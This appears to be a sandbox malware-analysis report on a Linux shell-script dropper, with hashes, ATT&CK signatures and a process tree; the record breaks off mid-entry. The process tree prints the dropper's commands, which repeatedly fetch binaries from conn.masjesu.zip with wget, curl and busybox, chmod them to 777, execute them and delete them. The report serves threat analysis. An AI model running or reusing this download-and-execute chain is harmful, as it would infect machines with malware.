c0bc234ffd2ae3085205f814f1f18a6acb1452e8cfc2509992e60aa0f134d653

Analysis

max time kernel
124s
max time network
148s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
29/10/2024, 02:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
c0bc234ffd2ae3085205f814f1f18a6acb1452e8cfc2509992e60aa0f134d653.sh
Size 10KB
Sample241029-dde7gsterm
SHA256 c0bc234ffd2ae3085205f814f1f18a6acb1452e8cfc2509992e60aa0f134d653
MD5 faae5585d5dcc822f7d49f6e76d1ad7b
SHA1 9b081b9bf56c050114d46a9b7d38733682669f9d
SHA512 323a7f3244dd16d9246e77f3cfb0a69521febc62b77f61a160845fe73ea2a289435f6da5af77411f752cf8878c701d2f04e8b377f0a4182dccd8e9ccbe6e2e86
SSDEEP 192:dwCWnsMx68PhzvTEgwnbX01ttZN6DTz6CWnsMxTZN6DTfvTE/bX01tt:aCWnsk68Phpw+CWnsk+
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
717	chmod
832	chmod
934	chmod
964	chmod
995	chmod
752	chmod
860	chmod
890	chmod
948	chmod
956	chmod
732	chmod
941	chmod
987	chmod
779	chmod
867	chmod
839	chmod
882	chmod
906	chmod
927	chmod
971	chmod
853	chmod
920	chmod
725	chmod
875	chmod
913	chmod
846	chmod
898	chmod
979	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
689	wget
926	busybox
944	wget
968	curl
895	curl
945	curl
975	wget
729	curl
762	curl
795	curl
857	curl
856	wget
864	curl
866	busybox
874	busybox
722	curl
735	wget
742	curl
838	busybox
902	wget
970	busybox
714	busybox
894	wget
960	wget
967	wget
724	busybox
728	wget
836	curl
842	wget
785	wget
831	busybox
872	curl
886	wget
910	curl
923	wget
933	busybox
991	wget
774	busybox
897	busybox
905	busybox
909	wget
978	busybox
721	wget
845	busybox
878	wget
930	wget
931	curl
953	curl
994	busybox
852	busybox
887	curl
917	curl
924	curl
843	curl
983	wget
871	wget
903	curl
731	busybox
835	wget
859	busybox
863	wget
850	curl
940	busybox
976	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Em9dlSBHXSJ1BhY8HH74CfelJWsKDX7b1Z	curl
File opened for modification	/tmp/Jp5SOg0AxAyAo9fewo3pjICTViRj1YA9nq	curl
File opened for modification	/tmp/Jp5SOg0AxAyAo9fewo3pjICTViRj1YA9nq	curl
File opened for modification	/tmp/Em9dlSBHXSJ1BhY8HH74CfelJWsKDX7b1Z	curl
File opened for modification	/tmp/MSKEgsSBQv7XOhgr3KTn15uFZBTGojSyZ8	curl
File opened for modification	/tmp/ElSJuxHfA1jBeBrn6kgQwvVjimNZyu8xYX	curl
File opened for modification	/tmp/tEWxeFqWYJ5FMR388Hg8Iu6prXLDx0q0wv	curl
File opened for modification	/tmp/MSKEgsSBQv7XOhgr3KTn15uFZBTGojSyZ8	curl
File opened for modification	/tmp/dJIRIS3fIEsIe3gdZ4c8NtuTkyZUZ4RBww	curl
File opened for modification	/tmp/mUzHIm52QGre6l6z7xbx9FU7x1KDQ0Dfjq	curl
File opened for modification	/tmp/H9QVWnuz04G6ntA4l4ZU12dEt8OZPed67o	curl
File opened for modification	/tmp/MbziRlKzuJrlmakeEok1UpeTAzZxNiRx7J	curl
File opened for modification	/tmp/Mj4CQad7zY1H1sbSpX7Y5WyRB3PM5DGsAd	curl
File opened for modification	/tmp/ejzagRNC2cjRViKQlfgqN3KtKOvI1VDV6N	curl
File opened for modification	/tmp/Mj4CQad7zY1H1sbSpX7Y5WyRB3PM5DGsAd	curl
File opened for modification	/tmp/tEWxeFqWYJ5FMR388Hg8Iu6prXLDx0q0wv	curl
File opened for modification	/tmp/dHObstG7LU99jTkh5GsOz0rwUn9AAvcPKl	curl
File opened for modification	/tmp/ejzagRNC2cjRViKQlfgqN3KtKOvI1VDV6N	curl
File opened for modification	/tmp/lB4B5OKiANeDqdZEcNTfmwYIBKOLkuMTDg	curl
File opened for modification	/tmp/ElSJuxHfA1jBeBrn6kgQwvVjimNZyu8xYX	curl
File opened for modification	/tmp/H9QVWnuz04G6ntA4l4ZU12dEt8OZPed67o	curl
File opened for modification	/tmp/lB4B5OKiANeDqdZEcNTfmwYIBKOLkuMTDg	curl
File opened for modification	/tmp/VX9fro4oT4L7IYRexFAdGGO49L2O5hYKGh	curl
File opened for modification	/tmp/dHObstG7LU99jTkh5GsOz0rwUn9AAvcPKl	curl
File opened for modification	/tmp/MbziRlKzuJrlmakeEok1UpeTAzZxNiRx7J	curl
File opened for modification	/tmp/dJIRIS3fIEsIe3gdZ4c8NtuTkyZUZ4RBww	curl
File opened for modification	/tmp/VX9fro4oT4L7IYRexFAdGGO49L2O5hYKGh	curl
File opened for modification	/tmp/mUzHIm52QGre6l6z7xbx9FU7x1KDQ0Dfjq	curl

/tmp/c0bc234ffd2ae3085205f814f1f18a6acb1452e8cfc2509992e60aa0f134d653.sh
/tmp/c0bc234ffd2ae3085205f814f1f18a6acb1452e8cfc2509992e60aa0f134d653.sh
1⤵
PID:685
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:687
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ejzagRNC2cjRViKQlfgqN3KtKOvI1VDV6N
  2⤵
  - System Network Configuration Discovery
  PID:689
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ejzagRNC2cjRViKQlfgqN3KtKOvI1VDV6N
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:707
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ejzagRNC2cjRViKQlfgqN3KtKOvI1VDV6N
  2⤵
  - System Network Configuration Discovery
  PID:714
- /bin/chmod
  chmod 777 ejzagRNC2cjRViKQlfgqN3KtKOvI1VDV6N
  2⤵
  - File and Directory Permissions Modification
  PID:717
- /tmp/ejzagRNC2cjRViKQlfgqN3KtKOvI1VDV6N
  ./ejzagRNC2cjRViKQlfgqN3KtKOvI1VDV6N
  2⤵
  - Executes dropped EXE
  PID:718
- /bin/rm
  rm ejzagRNC2cjRViKQlfgqN3KtKOvI1VDV6N
  2⤵
  PID:720
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MbziRlKzuJrlmakeEok1UpeTAzZxNiRx7J
  2⤵
  - System Network Configuration Discovery
  PID:721
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MbziRlKzuJrlmakeEok1UpeTAzZxNiRx7J
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:722
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MbziRlKzuJrlmakeEok1UpeTAzZxNiRx7J
  2⤵
  - System Network Configuration Discovery
  PID:724
- /bin/chmod
  chmod 777 MbziRlKzuJrlmakeEok1UpeTAzZxNiRx7J
  2⤵
  - File and Directory Permissions Modification
  PID:725
- /tmp/MbziRlKzuJrlmakeEok1UpeTAzZxNiRx7J
  ./MbziRlKzuJrlmakeEok1UpeTAzZxNiRx7J
  2⤵
  - Executes dropped EXE
  PID:726
- /bin/rm
  rm MbziRlKzuJrlmakeEok1UpeTAzZxNiRx7J
  2⤵
  PID:727
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ElSJuxHfA1jBeBrn6kgQwvVjimNZyu8xYX
  2⤵
  - System Network Configuration Discovery
  PID:728
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ElSJuxHfA1jBeBrn6kgQwvVjimNZyu8xYX
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:729
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ElSJuxHfA1jBeBrn6kgQwvVjimNZyu8xYX
  2⤵
  - System Network Configuration Discovery
  PID:731
- /bin/chmod
  chmod 777 ElSJuxHfA1jBeBrn6kgQwvVjimNZyu8xYX
  2⤵
  - File and Directory Permissions Modification
  PID:732
- /tmp/ElSJuxHfA1jBeBrn6kgQwvVjimNZyu8xYX
  ./ElSJuxHfA1jBeBrn6kgQwvVjimNZyu8xYX
  2⤵
  - Executes dropped EXE
  PID:733
- /bin/rm
  rm ElSJuxHfA1jBeBrn6kgQwvVjimNZyu8xYX
  2⤵
  PID:734
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/lB4B5OKiANeDqdZEcNTfmwYIBKOLkuMTDg
  2⤵
  - System Network Configuration Discovery
  PID:735
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/lB4B5OKiANeDqdZEcNTfmwYIBKOLkuMTDg
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:742
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/lB4B5OKiANeDqdZEcNTfmwYIBKOLkuMTDg
  2⤵
  PID:748
- /bin/chmod
  chmod 777 lB4B5OKiANeDqdZEcNTfmwYIBKOLkuMTDg
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/lB4B5OKiANeDqdZEcNTfmwYIBKOLkuMTDg
  ./lB4B5OKiANeDqdZEcNTfmwYIBKOLkuMTDg
  2⤵
  - Executes dropped EXE
  PID:754
- /bin/rm
  rm lB4B5OKiANeDqdZEcNTfmwYIBKOLkuMTDg
  2⤵
  PID:756
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dJIRIS3fIEsIe3gdZ4c8NtuTkyZUZ4RBww
  2⤵
  PID:757
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dJIRIS3fIEsIe3gdZ4c8NtuTkyZUZ4RBww
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:762
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dJIRIS3fIEsIe3gdZ4c8NtuTkyZUZ4RBww
  2⤵
  - System Network Configuration Discovery
  PID:774
- /bin/chmod
  chmod 777 dJIRIS3fIEsIe3gdZ4c8NtuTkyZUZ4RBww
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /tmp/dJIRIS3fIEsIe3gdZ4c8NtuTkyZUZ4RBww
  ./dJIRIS3fIEsIe3gdZ4c8NtuTkyZUZ4RBww
  2⤵
  - Executes dropped EXE
  PID:780
- /bin/rm
  rm dJIRIS3fIEsIe3gdZ4c8NtuTkyZUZ4RBww
  2⤵
  PID:783
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Mj4CQad7zY1H1sbSpX7Y5WyRB3PM5DGsAd
  2⤵
  - System Network Configuration Discovery
  PID:785
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Mj4CQad7zY1H1sbSpX7Y5WyRB3PM5DGsAd
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:795
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Mj4CQad7zY1H1sbSpX7Y5WyRB3PM5DGsAd
  2⤵
  - System Network Configuration Discovery
  PID:831
- /bin/chmod
  chmod 777 Mj4CQad7zY1H1sbSpX7Y5WyRB3PM5DGsAd
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/Mj4CQad7zY1H1sbSpX7Y5WyRB3PM5DGsAd
  ./Mj4CQad7zY1H1sbSpX7Y5WyRB3PM5DGsAd
  2⤵
  - Executes dropped EXE
  PID:833
- /bin/rm
  rm Mj4CQad7zY1H1sbSpX7Y5WyRB3PM5DGsAd
  2⤵
  PID:834
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/VX9fro4oT4L7IYRexFAdGGO49L2O5hYKGh
  2⤵
  - System Network Configuration Discovery
  PID:835
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/VX9fro4oT4L7IYRexFAdGGO49L2O5hYKGh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:836
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/VX9fro4oT4L7IYRexFAdGGO49L2O5hYKGh
  2⤵
  - System Network Configuration Discovery
  PID:838
- /bin/chmod
  chmod 777 VX9fro4oT4L7IYRexFAdGGO49L2O5hYKGh
  2⤵
  - File and Directory Permissions Modification
  PID:839
- /tmp/VX9fro4oT4L7IYRexFAdGGO49L2O5hYKGh
  ./VX9fro4oT4L7IYRexFAdGGO49L2O5hYKGh
  2⤵
  - Executes dropped EXE
  PID:840
- /bin/rm
  rm VX9fro4oT4L7IYRexFAdGGO49L2O5hYKGh
  2⤵
  PID:841
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tEWxeFqWYJ5FMR388Hg8Iu6prXLDx0q0wv
  2⤵
  - System Network Configuration Discovery
  PID:842
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tEWxeFqWYJ5FMR388Hg8Iu6prXLDx0q0wv
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:843
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tEWxeFqWYJ5FMR388Hg8Iu6prXLDx0q0wv
  2⤵
  - System Network Configuration Discovery
  PID:845
- /bin/chmod
  chmod 777 tEWxeFqWYJ5FMR388Hg8Iu6prXLDx0q0wv
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /tmp/tEWxeFqWYJ5FMR388Hg8Iu6prXLDx0q0wv
  ./tEWxeFqWYJ5FMR388Hg8Iu6prXLDx0q0wv
  2⤵
  - Executes dropped EXE
  PID:847
- /bin/rm
  rm tEWxeFqWYJ5FMR388Hg8Iu6prXLDx0q0wv
  2⤵
  PID:848
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/mUzHIm52QGre6l6z7xbx9FU7x1KDQ0Dfjq
  2⤵
  PID:849
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/mUzHIm52QGre6l6z7xbx9FU7x1KDQ0Dfjq
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:850
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/mUzHIm52QGre6l6z7xbx9FU7x1KDQ0Dfjq
  2⤵
  - System Network Configuration Discovery
  PID:852
- /bin/chmod
  chmod 777 mUzHIm52QGre6l6z7xbx9FU7x1KDQ0Dfjq
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/mUzHIm52QGre6l6z7xbx9FU7x1KDQ0Dfjq
  ./mUzHIm52QGre6l6z7xbx9FU7x1KDQ0Dfjq
  2⤵
  - Executes dropped EXE
  PID:854
- /bin/rm
  rm mUzHIm52QGre6l6z7xbx9FU7x1KDQ0Dfjq
  2⤵
  PID:855
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Em9dlSBHXSJ1BhY8HH74CfelJWsKDX7b1Z
  2⤵
  - System Network Configuration Discovery
  PID:856
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Em9dlSBHXSJ1BhY8HH74CfelJWsKDX7b1Z
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:857
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Em9dlSBHXSJ1BhY8HH74CfelJWsKDX7b1Z
  2⤵
  - System Network Configuration Discovery
  PID:859
- /bin/chmod
  chmod 777 Em9dlSBHXSJ1BhY8HH74CfelJWsKDX7b1Z
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/Em9dlSBHXSJ1BhY8HH74CfelJWsKDX7b1Z
  ./Em9dlSBHXSJ1BhY8HH74CfelJWsKDX7b1Z
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm Em9dlSBHXSJ1BhY8HH74CfelJWsKDX7b1Z
  2⤵
  PID:862
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/H9QVWnuz04G6ntA4l4ZU12dEt8OZPed67o
  2⤵
  - System Network Configuration Discovery
  PID:863
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/H9QVWnuz04G6ntA4l4ZU12dEt8OZPed67o
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:864
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/H9QVWnuz04G6ntA4l4ZU12dEt8OZPed67o
  2⤵
  - System Network Configuration Discovery
  PID:866
- /bin/chmod
  chmod 777 H9QVWnuz04G6ntA4l4ZU12dEt8OZPed67o
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/H9QVWnuz04G6ntA4l4ZU12dEt8OZPed67o
  ./H9QVWnuz04G6ntA4l4ZU12dEt8OZPed67o
  2⤵
  - Executes dropped EXE
  PID:868
- /bin/rm
  rm H9QVWnuz04G6ntA4l4ZU12dEt8OZPed67o
  2⤵
  PID:870
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MSKEgsSBQv7XOhgr3KTn15uFZBTGojSyZ8
  2⤵
  - System Network Configuration Discovery
  PID:871
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MSKEgsSBQv7XOhgr3KTn15uFZBTGojSyZ8
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:872
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MSKEgsSBQv7XOhgr3KTn15uFZBTGojSyZ8
  2⤵
  - System Network Configuration Discovery
  PID:874
- /bin/chmod
  chmod 777 MSKEgsSBQv7XOhgr3KTn15uFZBTGojSyZ8
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/MSKEgsSBQv7XOhgr3KTn15uFZBTGojSyZ8
  ./MSKEgsSBQv7XOhgr3KTn15uFZBTGojSyZ8
  2⤵
  - Executes dropped EXE
  PID:876
- /bin/rm
  rm MSKEgsSBQv7XOhgr3KTn15uFZBTGojSyZ8
  2⤵
  PID:877
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Jp5SOg0AxAyAo9fewo3pjICTViRj1YA9nq
  2⤵
  - System Network Configuration Discovery
  PID:878
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Jp5SOg0AxAyAo9fewo3pjICTViRj1YA9nq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:879
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Jp5SOg0AxAyAo9fewo3pjICTViRj1YA9nq
  2⤵
  PID:881
- /bin/chmod
  chmod 777 Jp5SOg0AxAyAo9fewo3pjICTViRj1YA9nq
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/Jp5SOg0AxAyAo9fewo3pjICTViRj1YA9nq
  ./Jp5SOg0AxAyAo9fewo3pjICTViRj1YA9nq
  2⤵
  - Executes dropped EXE
  PID:883
- /bin/rm
  rm Jp5SOg0AxAyAo9fewo3pjICTViRj1YA9nq
  2⤵
  PID:885
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dHObstG7LU99jTkh5GsOz0rwUn9AAvcPKl
  2⤵
  - System Network Configuration Discovery
  PID:886
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dHObstG7LU99jTkh5GsOz0rwUn9AAvcPKl
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dHObstG7LU99jTkh5GsOz0rwUn9AAvcPKl
  2⤵
  PID:889
- /bin/chmod
  chmod 777 dHObstG7LU99jTkh5GsOz0rwUn9AAvcPKl
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/dHObstG7LU99jTkh5GsOz0rwUn9AAvcPKl
  ./dHObstG7LU99jTkh5GsOz0rwUn9AAvcPKl
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm dHObstG7LU99jTkh5GsOz0rwUn9AAvcPKl
  2⤵
  PID:893
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ejzagRNC2cjRViKQlfgqN3KtKOvI1VDV6N
  2⤵
  - System Network Configuration Discovery
  PID:894
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ejzagRNC2cjRViKQlfgqN3KtKOvI1VDV6N
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:895
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ejzagRNC2cjRViKQlfgqN3KtKOvI1VDV6N
  2⤵
  - System Network Configuration Discovery
  PID:897
- /bin/chmod
  chmod 777 ejzagRNC2cjRViKQlfgqN3KtKOvI1VDV6N
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/ejzagRNC2cjRViKQlfgqN3KtKOvI1VDV6N
  ./ejzagRNC2cjRViKQlfgqN3KtKOvI1VDV6N
  2⤵
  - Executes dropped EXE
  PID:899
- /bin/rm
  rm ejzagRNC2cjRViKQlfgqN3KtKOvI1VDV6N
  2⤵
  PID:901
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MbziRlKzuJrlmakeEok1UpeTAzZxNiRx7J
  2⤵
  - System Network Configuration Discovery
  PID:902
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MbziRlKzuJrlmakeEok1UpeTAzZxNiRx7J
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:903
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MbziRlKzuJrlmakeEok1UpeTAzZxNiRx7J
  2⤵
  - System Network Configuration Discovery
  PID:905
- /bin/chmod
  chmod 777 MbziRlKzuJrlmakeEok1UpeTAzZxNiRx7J
  2⤵
  - File and Directory Permissions Modification
  PID:906
- /tmp/MbziRlKzuJrlmakeEok1UpeTAzZxNiRx7J
  ./MbziRlKzuJrlmakeEok1UpeTAzZxNiRx7J
  2⤵
  - Executes dropped EXE
  PID:907
- /bin/rm
  rm MbziRlKzuJrlmakeEok1UpeTAzZxNiRx7J
  2⤵
  PID:908
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ElSJuxHfA1jBeBrn6kgQwvVjimNZyu8xYX
  2⤵
  - System Network Configuration Discovery
  PID:909
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ElSJuxHfA1jBeBrn6kgQwvVjimNZyu8xYX
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:910
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ElSJuxHfA1jBeBrn6kgQwvVjimNZyu8xYX
  2⤵
  PID:912
- /bin/chmod
  chmod 777 ElSJuxHfA1jBeBrn6kgQwvVjimNZyu8xYX
  2⤵
  - File and Directory Permissions Modification
  PID:913
- /tmp/ElSJuxHfA1jBeBrn6kgQwvVjimNZyu8xYX
  ./ElSJuxHfA1jBeBrn6kgQwvVjimNZyu8xYX
  2⤵
  - Executes dropped EXE
  PID:914
- /bin/rm
  rm ElSJuxHfA1jBeBrn6kgQwvVjimNZyu8xYX
  2⤵
  PID:915
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/lB4B5OKiANeDqdZEcNTfmwYIBKOLkuMTDg
  2⤵
  PID:916
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/lB4B5OKiANeDqdZEcNTfmwYIBKOLkuMTDg
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:917
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/lB4B5OKiANeDqdZEcNTfmwYIBKOLkuMTDg
  2⤵
  PID:919
- /bin/chmod
  chmod 777 lB4B5OKiANeDqdZEcNTfmwYIBKOLkuMTDg
  2⤵
  - File and Directory Permissions Modification
  PID:920
- /tmp/lB4B5OKiANeDqdZEcNTfmwYIBKOLkuMTDg
  ./lB4B5OKiANeDqdZEcNTfmwYIBKOLkuMTDg
  2⤵
  - Executes dropped EXE
  PID:921
- /bin/rm
  rm lB4B5OKiANeDqdZEcNTfmwYIBKOLkuMTDg
  2⤵
  PID:922
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dJIRIS3fIEsIe3gdZ4c8NtuTkyZUZ4RBww
  2⤵
  - System Network Configuration Discovery
  PID:923
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dJIRIS3fIEsIe3gdZ4c8NtuTkyZUZ4RBww
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:924
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dJIRIS3fIEsIe3gdZ4c8NtuTkyZUZ4RBww
  2⤵
  - System Network Configuration Discovery
  PID:926
- /bin/chmod
  chmod 777 dJIRIS3fIEsIe3gdZ4c8NtuTkyZUZ4RBww
  2⤵
  - File and Directory Permissions Modification
  PID:927
- /tmp/dJIRIS3fIEsIe3gdZ4c8NtuTkyZUZ4RBww
  ./dJIRIS3fIEsIe3gdZ4c8NtuTkyZUZ4RBww
  2⤵
  - Executes dropped EXE
  PID:928
- /bin/rm
  rm dJIRIS3fIEsIe3gdZ4c8NtuTkyZUZ4RBww
  2⤵
  PID:929
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Mj4CQad7zY1H1sbSpX7Y5WyRB3PM5DGsAd
  2⤵
  - System Network Configuration Discovery
  PID:930
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Mj4CQad7zY1H1sbSpX7Y5WyRB3PM5DGsAd
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:931
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Mj4CQad7zY1H1sbSpX7Y5WyRB3PM5DGsAd
  2⤵
  - System Network Configuration Discovery
  PID:933
- /bin/chmod
  chmod 777 Mj4CQad7zY1H1sbSpX7Y5WyRB3PM5DGsAd
  2⤵
  - File and Directory Permissions Modification
  PID:934
- /tmp/Mj4CQad7zY1H1sbSpX7Y5WyRB3PM5DGsAd
  ./Mj4CQad7zY1H1sbSpX7Y5WyRB3PM5DGsAd
  2⤵
  - Executes dropped EXE
  PID:935
- /bin/rm
  rm Mj4CQad7zY1H1sbSpX7Y5WyRB3PM5DGsAd
  2⤵
  PID:936
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/VX9fro4oT4L7IYRexFAdGGO49L2O5hYKGh
  2⤵
  PID:937
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/VX9fro4oT4L7IYRexFAdGGO49L2O5hYKGh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:938
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/VX9fro4oT4L7IYRexFAdGGO49L2O5hYKGh
  2⤵
  - System Network Configuration Discovery
  PID:940
- /bin/chmod
  chmod 777 VX9fro4oT4L7IYRexFAdGGO49L2O5hYKGh
  2⤵
  - File and Directory Permissions Modification
  PID:941
- /tmp/VX9fro4oT4L7IYRexFAdGGO49L2O5hYKGh
  ./VX9fro4oT4L7IYRexFAdGGO49L2O5hYKGh
  2⤵
  - Executes dropped EXE
  PID:942
- /bin/rm
  rm VX9fro4oT4L7IYRexFAdGGO49L2O5hYKGh
  2⤵
  PID:943
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tEWxeFqWYJ5FMR388Hg8Iu6prXLDx0q0wv
  2⤵
  - System Network Configuration Discovery
  PID:944
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tEWxeFqWYJ5FMR388Hg8Iu6prXLDx0q0wv
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:945
- /bin/busybox
